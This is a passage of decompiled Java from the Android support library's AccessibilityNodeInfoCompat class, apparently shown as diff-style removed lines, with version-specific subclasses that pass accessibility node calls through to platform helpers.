android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getMovementGranularities(Object obj) { - return AccessibilityNodeInfoCompatJellyBean.getMovementGranularities(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setParent(Object obj, View view, int i) { - AccessibilityNodeInfoCompatJellyBean.setParent(obj, view, i); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class AccessibilityNodeInfoJellybeanMr1Impl extends AccessibilityNodeInfoJellybeanImpl { - AccessibilityNodeInfoJellybeanMr1Impl() { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setLabelFor(Object obj, View view) { - AccessibilityNodeInfoCompatJellybeanMr1.setLabelFor(obj, view); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setLabelFor(Object obj, View view, int i) { - AccessibilityNodeInfoCompatJellybeanMr1.setLabelFor(obj, view, i); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getLabelFor(Object obj) { - return AccessibilityNodeInfoCompatJellybeanMr1.getLabelFor(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setLabeledBy(Object obj, View view) { - AccessibilityNodeInfoCompatJellybeanMr1.setLabeledBy(obj, view); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setLabeledBy(Object obj, View view, int i) { - AccessibilityNodeInfoCompatJellybeanMr1.setLabeledBy(obj, view, i); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getLabeledBy(Object obj) { - return AccessibilityNodeInfoCompatJellybeanMr1.getLabeledBy(obj); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class AccessibilityNodeInfoJellybeanMr2Impl extends AccessibilityNodeInfoJellybeanMr1Impl { - AccessibilityNodeInfoJellybeanMr2Impl() { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public String getViewIdResourceName(Object obj) { - return AccessibilityNodeInfoCompatJellybeanMr2.getViewIdResourceName(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setViewIdResourceName(Object obj, String str) { - AccessibilityNodeInfoCompatJellybeanMr2.setViewIdResourceName(obj, str); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public List findAccessibilityNodeInfosByViewId(Object obj, String str) { - return AccessibilityNodeInfoCompatJellybeanMr2.findAccessibilityNodeInfosByViewId(obj, str); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setTextSelection(Object obj, int i, int i2) { - AccessibilityNodeInfoCompatJellybeanMr2.setTextSelection(obj, i, i2); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getTextSelectionStart(Object obj) { - return AccessibilityNodeInfoCompatJellybeanMr2.getTextSelectionStart(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getTextSelectionEnd(Object obj) { - return AccessibilityNodeInfoCompatJellybeanMr2.getTextSelectionEnd(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isEditable(Object obj) { - return AccessibilityNodeInfoCompatJellybeanMr2.isEditable(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setEditable(Object obj, boolean z) { - AccessibilityNodeInfoCompatJellybeanMr2.setEditable(obj, z); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean refresh(Object obj) { - return AccessibilityNodeInfoCompatJellybeanMr2.refresh(obj); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class AccessibilityNodeInfoKitKatImpl extends AccessibilityNodeInfoJellybeanMr2Impl { - AccessibilityNodeInfoKitKatImpl() { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getLiveRegion(Object obj) { - return AccessibilityNodeInfoCompatKitKat.getLiveRegion(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setLiveRegion(Object obj, int i) { - AccessibilityNodeInfoCompatKitKat.setLiveRegion(obj, i); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getCollectionInfo(Object obj) { - return AccessibilityNodeInfoCompatKitKat.getCollectionInfo(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setCollectionInfo(Object obj, Object obj2) { - AccessibilityNodeInfoCompatKitKat.setCollectionInfo(obj, obj2); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object obtainCollectionInfo(int i, int i2, boolean z, int i3) { - return AccessibilityNodeInfoCompatKitKat.obtainCollectionInfo(i, i2, z, i3); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object obtainCollectionInfo(int i, int i2, boolean z) { - return AccessibilityNodeInfoCompatKitKat.obtainCollectionInfo(i, i2, z); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object obtainCollectionItemInfo(int i, int i2, int i3, int i4, boolean z, boolean z2) { - return AccessibilityNodeInfoCompatKitKat.obtainCollectionItemInfo(i, i2, i3, i4, z); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object obtainCollectionItemInfo(int i, int i2, int i3, int i4, boolean z) { - return AccessibilityNodeInfoCompatKitKat.obtainCollectionItemInfo(i, i2, i3, i4, z); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getCollectionInfoColumnCount(Object obj) { - return AccessibilityNodeInfoCompatKitKat.CollectionInfo.getColumnCount(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getCollectionInfoRowCount(Object obj) { - return AccessibilityNodeInfoCompatKitKat.CollectionInfo.getRowCount(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isCollectionInfoHierarchical(Object obj) { - return AccessibilityNodeInfoCompatKitKat.CollectionInfo.isHierarchical(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getCollectionItemInfo(Object obj) { - return AccessibilityNodeInfoCompatKitKat.getCollectionItemInfo(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getRangeInfo(Object obj) { - return AccessibilityNodeInfoCompatKitKat.getRangeInfo(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setRangeInfo(Object obj, Object obj2) { - AccessibilityNodeInfoCompatKitKat.setRangeInfo(obj, obj2); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getCollectionItemColumnIndex(Object obj) { - return AccessibilityNodeInfoCompatKitKat.CollectionItemInfo.getColumnIndex(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getCollectionItemColumnSpan(Object obj) { - return AccessibilityNodeInfoCompatKitKat.CollectionItemInfo.getColumnSpan(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getCollectionItemRowIndex(Object obj) { - return AccessibilityNodeInfoCompatKitKat.CollectionItemInfo.getRowIndex(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getCollectionItemRowSpan(Object obj) { - return AccessibilityNodeInfoCompatKitKat.CollectionItemInfo.getRowSpan(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isCollectionItemHeading(Object obj) { - return AccessibilityNodeInfoCompatKitKat.CollectionItemInfo.isHeading(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setCollectionItemInfo(Object obj, Object obj2) { - AccessibilityNodeInfoCompatKitKat.setCollectionItemInfo(obj, obj2); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object obtainRangeInfo(int i, float f, float f2, float f3) { - return AccessibilityNodeInfoCompatKitKat.obtainRangeInfo(i, f, f2, f3); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setContentInvalid(Object obj, boolean z) { - AccessibilityNodeInfoCompatKitKat.setContentInvalid(obj, z); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isContentInvalid(Object obj) { - return AccessibilityNodeInfoCompatKitKat.isContentInvalid(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean canOpenPopup(Object obj) { - return AccessibilityNodeInfoCompatKitKat.canOpenPopup(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setCanOpenPopup(Object obj, boolean z) { - AccessibilityNodeInfoCompatKitKat.setCanOpenPopup(obj, z); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Bundle getExtras(Object obj) { - return AccessibilityNodeInfoCompatKitKat.getExtras(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getInputType(Object obj) { - return AccessibilityNodeInfoCompatKitKat.getInputType(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setInputType(Object obj, int i) { - AccessibilityNodeInfoCompatKitKat.setInputType(obj, i); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isDismissable(Object obj) { - return AccessibilityNodeInfoCompatKitKat.isDismissable(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setDismissable(Object obj, boolean z) { - AccessibilityNodeInfoCompatKitKat.setDismissable(obj, z); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isMultiLine(Object obj) { - return AccessibilityNodeInfoCompatKitKat.isMultiLine(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setMultiLine(Object obj, boolean z) { - AccessibilityNodeInfoCompatKitKat.setMultiLine(obj, z); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public CharSequence getRoleDescription(Object obj) { - return AccessibilityNodeInfoCompatKitKat.getRoleDescription(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setRoleDescription(Object obj, CharSequence charSequence) { - AccessibilityNodeInfoCompatKitKat.setRoleDescription(obj, charSequence); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class AccessibilityNodeInfoApi21Impl extends AccessibilityNodeInfoKitKatImpl { - AccessibilityNodeInfoApi21Impl() { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object newAccessibilityAction(int i, CharSequence charSequence) { - return AccessibilityNodeInfoCompatApi21.newAccessibilityAction(i, charSequence); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public List getActionList(Object obj) { - return AccessibilityNodeInfoCompatApi21.getActionList(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoKitKatImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object obtainCollectionInfo(int i, int i2, boolean z, int i3) { - return AccessibilityNodeInfoCompatApi21.obtainCollectionInfo(i, i2, z, i3); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void addAction(Object obj, Object obj2) { - AccessibilityNodeInfoCompatApi21.addAction(obj, obj2); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean removeAction(Object obj, Object obj2) { - return AccessibilityNodeInfoCompatApi21.removeAction(obj, obj2); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getAccessibilityActionId(Object obj) { - return AccessibilityNodeInfoCompatApi21.getAccessibilityActionId(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public CharSequence getAccessibilityActionLabel(Object obj) { - return AccessibilityNodeInfoCompatApi21.getAccessibilityActionLabel(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoKitKatImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object obtainCollectionItemInfo(int i, int i2, int i3, int i4, boolean z, boolean z2) { - return AccessibilityNodeInfoCompatApi21.obtainCollectionItemInfo(i, i2, i3, i4, z, z2); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isCollectionItemSelected(Object obj) { - return AccessibilityNodeInfoCompatApi21.CollectionItemInfo.isSelected(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public CharSequence getError(Object obj) { - return AccessibilityNodeInfoCompatApi21.getError(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setError(Object obj, CharSequence charSequence) { - AccessibilityNodeInfoCompatApi21.setError(obj, charSequence); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setMaxTextLength(Object obj, int i) { - AccessibilityNodeInfoCompatApi21.setMaxTextLength(obj, i); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getMaxTextLength(Object obj) { - return AccessibilityNodeInfoCompatApi21.getMaxTextLength(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getWindow(Object obj) { - return AccessibilityNodeInfoCompatApi21.getWindow(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean removeChild(Object obj, View view) { - return AccessibilityNodeInfoCompatApi21.removeChild(obj, view); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean removeChild(Object obj, View view, int i) { - return AccessibilityNodeInfoCompatApi21.removeChild(obj, view, i); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getCollectionInfoSelectionMode(Object obj) { - return AccessibilityNodeInfoCompatApi21.CollectionInfo.getSelectionMode(obj); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class AccessibilityNodeInfoApi22Impl extends AccessibilityNodeInfoApi21Impl { - AccessibilityNodeInfoApi22Impl() { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getTraversalBefore(Object obj) { - return AccessibilityNodeInfoCompatApi22.getTraversalBefore(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setTraversalBefore(Object obj, View view) { - AccessibilityNodeInfoCompatApi22.setTraversalBefore(obj, view); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setTraversalBefore(Object obj, View view, int i) { - AccessibilityNodeInfoCompatApi22.setTraversalBefore(obj, view, i); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getTraversalAfter(Object obj) { - return AccessibilityNodeInfoCompatApi22.getTraversalAfter(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setTraversalAfter(Object obj, View view) { - AccessibilityNodeInfoCompatApi22.setTraversalAfter(obj, view); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setTraversalAfter(Object obj, View view, int i) { - AccessibilityNodeInfoCompatApi22.setTraversalAfter(obj, view, i); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class AccessibilityNodeInfoApi23Impl extends AccessibilityNodeInfoApi22Impl { - AccessibilityNodeInfoApi23Impl() { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getActionScrollToPosition() { - return AccessibilityNodeInfoCompatApi23.getActionScrollToPosition(); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getActionShowOnScreen() { - return AccessibilityNodeInfoCompatApi23.getActionShowOnScreen(); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getActionScrollUp() { - return AccessibilityNodeInfoCompatApi23.getActionScrollUp(); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getActionScrollDown() { - return AccessibilityNodeInfoCompatApi23.getActionScrollDown(); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getActionScrollLeft() { - return AccessibilityNodeInfoCompatApi23.getActionScrollLeft(); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getActionScrollRight() { - return AccessibilityNodeInfoCompatApi23.getActionScrollRight(); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getActionContextClick() { - return AccessibilityNodeInfoCompatApi23.getActionContextClick(); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isContextClickable(Object obj) { - return AccessibilityNodeInfoCompatApi23.isContextClickable(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setContextClickable(Object obj, boolean z) { - AccessibilityNodeInfoCompatApi23.setContextClickable(obj, z); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class AccessibilityNodeInfoApi24Impl extends AccessibilityNodeInfoApi23Impl { - AccessibilityNodeInfoApi24Impl() { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getActionSetProgress() { - return AccessibilityNodeInfoCompatApi24.getActionSetProgress(); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getDrawingOrder(Object obj) { - return AccessibilityNodeInfoCompatApi24.getDrawingOrder(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setDrawingOrder(Object obj, int i) { - AccessibilityNodeInfoCompatApi24.setDrawingOrder(obj, i); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isImportantForAccessibility(Object obj) { - return AccessibilityNodeInfoCompatApi24.isImportantForAccessibility(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setImportantForAccessibility(Object obj, boolean z) { - AccessibilityNodeInfoCompatApi24.setImportantForAccessibility(obj, z); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static AccessibilityNodeInfoCompat wrapNonNullInstance(Object obj) { - if (obj != null) { - return new AccessibilityNodeInfoCompat(obj); - } - return null; - } - - public AccessibilityNodeInfoCompat(Object obj) { - this.mInfo = obj; - } - - public Object getInfo() { - return this.mInfo; - } - - public static AccessibilityNodeInfoCompat obtain(View view) { - return wrapNonNullInstance(IMPL.obtain(view)); - } - - public static AccessibilityNodeInfoCompat obtain(View view, int i) { - return wrapNonNullInstance(IMPL.obtain(view, i)); - } - - public static 